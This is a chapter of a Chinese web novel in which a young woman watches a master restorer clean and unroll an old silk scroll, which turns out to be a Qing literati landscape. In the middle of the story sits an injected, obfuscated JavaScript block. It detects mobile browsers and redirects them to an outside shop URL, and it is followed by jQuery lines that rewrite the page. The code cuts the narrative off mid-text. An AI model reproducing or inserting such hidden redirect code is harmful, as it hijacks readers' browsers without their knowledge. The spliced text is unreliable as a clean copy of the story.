看了足足一刻钟,老人才直起身。
他慢慢摘下手套,看向叶轻辞,声音依旧沙哑,但语气平静无波:“东西和要求,老褚都跟你说清楚了?”
“说清楚了。”叶轻辞点头,“绢本设色画……六成把握,对赌,开价五成,付五十块工费。”
“说清楚就行。”老人点点头,“我姓秦,秦望山,你可以叫我秦师傅。”
“秦师傅。”
叶轻辞再次恭敬叫道。
“你决定赌了?”
秦师傅问,目光锐利。
叶轻辞深吸一口气,重重点头:“赌。秦师傅,我相信您的手艺,也相信这卷轴里面有东西!”
她说得斩钉截铁,眼神清澈而坚定。
秦师傅看着她,脸上依旧没什么表情,但眼神深处似乎掠过一丝极淡的、几乎无法察觉的波动。
“好。”
他只说了一个字,转身走到工作台另一头,开始有条不紊地准备工具。
他先是从一个密封的陶罐里,用竹勺舀出一些淡黄色的粉末,倒入一个白瓷碗,又从一个玻璃瓶里倒出清水,用一根细长的玻璃棒缓缓搅动。
粉末遇水化开,变成一种透明的、略带粘稠的液体。
“这是明矾水,稀释过的,固色防晕。”秦师傅像是自言自语,又像是在给叶轻辞讲解,“要想瞧瞧里面画着什么,第一步不是开卷,是‘醒’。”
只见他用一把极软的羊毫排笔,蘸取少量明矾水,极其均匀、轻柔地涂刷在卷轴外露的绢帛表面,尤其是破损边缘和污渍较重的地方。
速度虽快,动作却轻,如蜻蜓点水、惊鸿掠影。
涂刷完毕,他用一块控过水分的干净湿毛巾,轻轻覆盖在涂刷过的地方,解释道:“让绢帛纤维稍微回软,吸收一点水分,降低脆性,也为后续清理做准备……这一步不能急,得等。”
这一等,就是半个小时。
秦师傅在此期间,又调配了另一种更稀的、几乎透明的液体,用另一个碗盛着。
“这是稀释的皂角水,温和去污。”
他随口解释一句,揭开湿毛巾,换了一把更小的尖头棕刷,蘸取皂角水,开始针对卷轴上几处明显的深色污渍进行点洗。
每一笔都精准而克制,污渍在刷尖下一点点化开、变淡,但绝不扩散到周围干净的绢面。
这手艺,实在精巧……叶轻辞看得入了迷。
这与她用淀粉、清水笨拙而随意清理的方式相比,简直是天壤之别。
每一种材料都有讲究,每一个动作都有目的,不急不躁,精准控制。
清理完几处重点污渍,秦师傅再次用干净的湿毛巾轻轻吸去多余水分,然后将卷轴置于工作台上一块垫着厚毛毡的平整区域。
“现在,可以试着开一点口子了。”
秦师傅的声音依旧平淡,似乎没什么特别。
但叶轻辞能感觉到,气氛有些许不同,甚至连褚师傅都微微坐直了身体。
秦师傅拿起一把极薄的竹起子,先是在卷轴边缘一处相对完整、没有粘结的地方,用起子尖端极其轻微地探入绢帛与画心之间的缝隙,闭着眼睛感受着粘连的程度。
片刻后,他睁开眼,换了个位置,再次试探。
如此反复了四五次,他终于选定了一处,竹起子的尖端以一个微妙的角度,缓缓、平稳地深入。
“嗤——”
一声极轻微的分离声响,在寂静的房间里显得格外清晰。
叶轻辞的心提到了嗓子眼。
秦师傅的动作却稳如磐石,手腕几乎看不出移动。
竹起子以肉眼难以察觉的速度,平稳地向前推进了约莫两寸。
然后,他停了下来,用一把更细的竹镊子,夹住被挑起的那一点点边缘,轻轻向上掀开。
一小片深褐色的、带着细密织纹的旧绢,被剥离出来。
画心露出了第一角!
在场三人的目光都聚焦在那片不过指甲盖大小的区域。
露出的部分不是画,是画心的空白绢底。
颜色是一种泛着岁月光泽的米褐色,质地细密均匀,边缘有些许毛边,但整体状况比预想的好得多,没有严重酥脆或脆裂。
秦师傅用放大镜仔细观察那片露出的绢底,又用手指轻轻触摸感受。
半晌,他点了点头:“绢质尚可,是清中期常见的院绢,密度不错,老化程度在可控范围内,好兆头。”
叶轻辞和褚师傅都松了口气。
最坏的情况没有发生。
“继续?”
秦师傅看向叶轻辞。
“继续。”
叶轻辞毫不犹豫。
接下来的几个小时,叶轻辞见识到了什么叫慢工出细活,什么叫手艺人的定力。
秦师傅的全部精神都凝聚在手中的竹起子、棕刷、镊子和那缓缓展露真容的旧卷轴上。
没有多余的话语,只有偶尔低声解释一两句关键步骤:
“这里粘得紧,得用温蒸汽熏一下。”
“看到这缕颜色了?是石青,矿物颜料,得格外小心,轻易不沾水。”
“折痕太深,先局部湿润,用骨刀轻轻擀平。”
他打开卷轴的方式并非一味平推,而是根据粘连情况、颜料分布、破损位置对症施策。
他时而从边缘入手,时而从中间薄弱处突破,时而需要停下来进行局部加固或清理。
每打开一寸,都需要极大的耐心和无数次微调。
叶轻辞的眼睛几乎不够用。
如何判断粘连物的性质?
如何选择剥离的力度和角度?
如何保护脆弱的颜料层?
如何应对突然出现的虫蛀或撕裂?
……
她贪婪地吸收着每一个细节。
学习的技能飞速更新,系统光幕也时不时跳出提示——
【观察高阶书画修复技法,理解度+5%。】
【检测到传统固色剂应用,材料知识+2%。】
【感知到‘专注’状态对修复精度评价的正向影响……】
现实时间过去了近三个小时,卷轴才被打开了大约三分之一。
但,已经能看出大致轮廓。
这是一幅绢本设色的手卷,横向展开。
打开的这部分,画的是连绵的远山、江岸,以及江边一座精巧的亭台楼阁。
山石用小青绿技法,颜色淡雅秀润。
楼阁则是工笔细描,飞檐斗拱一丝不苟。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17042882|194440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最后是江面留白,以极细的墨线勾出水纹。
虽然还有不少污渍覆盖,颜料也有脱落,但整体的构图、气韵已经透了出来——清雅,精致,一派江南园林的闲适风光。
“看笔法,不是匠人画,是文人笔。”
秦师傅终于停下手,揉了揉有些发酸的手腕,给出了初步判断。
“山水取法‘四王’一路,楼阁工细,设色淡雅。是清中后期典型的文人‘行乐图’或‘园居图’风格。”
“画得……很规矩,也很用心。”
他指着刚刚清理出来的一处楼阁角落:“这里,看墨线,原本应该有题款或印章,但被污渍盖住了,需要进一步清理才能看清。”
叶轻辞的心跳漏了一拍。
清中后期,文人画,保存尚可。
这已经大大超出了她的预期。
“老秦,那这……大概值多少?”褚师傅替她问出了最关心的问题。
秦师傅沉吟片刻,摇摇头:“现在说还太早。画心才露三分之一,品相、完整度、最重要的是作者和款识,都还不清楚。”
“如果只是无名文人的普通应酬之作,清理装裱后,卖个几十块到一百块顶天了。如果作者有点名头,或者款识有什么特别信息,那就……能上几百甚至上千。”
他看向叶轻辞:“还要继续吗?越往后开,风险可能越大,污损情况可能更复杂。”
但不开,就永远不知道里面到底是什么。
叶轻辞看着那幅已经初露风姿的古画,又看看秦师傅那双稳定而专注的手,心中再无犹豫。
“继续开,秦师傅。”她声音不大,却带着一种破釜沉舟的决然,“我想知道它全部的样子……无论结果如何,我都认。”
秦师傅深深看了她一眼,没再说话。
他重新戴好手套,拿起了工具。
日头高悬,将窗外照得暖融融的。
而室内,工具与古绢接触的细微声响细细密密。
叶轻辞坐在小凳上,腰背挺得笔直,高度聚精会神。
日影在陋室粗糙的水泥地上缓慢移动,从东墙根渐渐爬上工作台的一角。
下午,秦师傅的修复工作,进入了更精细也更危险的阶段。
画心已经打开了近半,江岸亭台的景象越发完整。
与此同时,暴露出的问题也更多——
一片山石上的石绿颜料因受潮而微微翘起,边缘有剥落的风险。
一处楼阁的墨线被霉菌侵蚀,变得模糊断续。
最麻烦的是画心中央偏左的位置,有一块深褐色的、巴掌大的顽固污渍,死死地覆盖在画面上。
见状,秦师傅的眉头第一次微微蹙起。
他放下竹起子,换了一把更精巧的骨刀。
“看到这里没有?”
秦师傅用骨刀虚点着那片翘起的石绿颜料下方。
“颜料层和绢底之间有细微的分离,是因为胶料老化,加上潮湿膨胀。硬挑会掉,得先回软。”
只见他取来一个巴掌大的铜制小熏壶,壶嘴极细。
他从另一个小瓷瓶里倒出几滴透明的液体进去,又加入一点点热水。
然后,点燃一小块酒精棉,放在熏壶底部加热。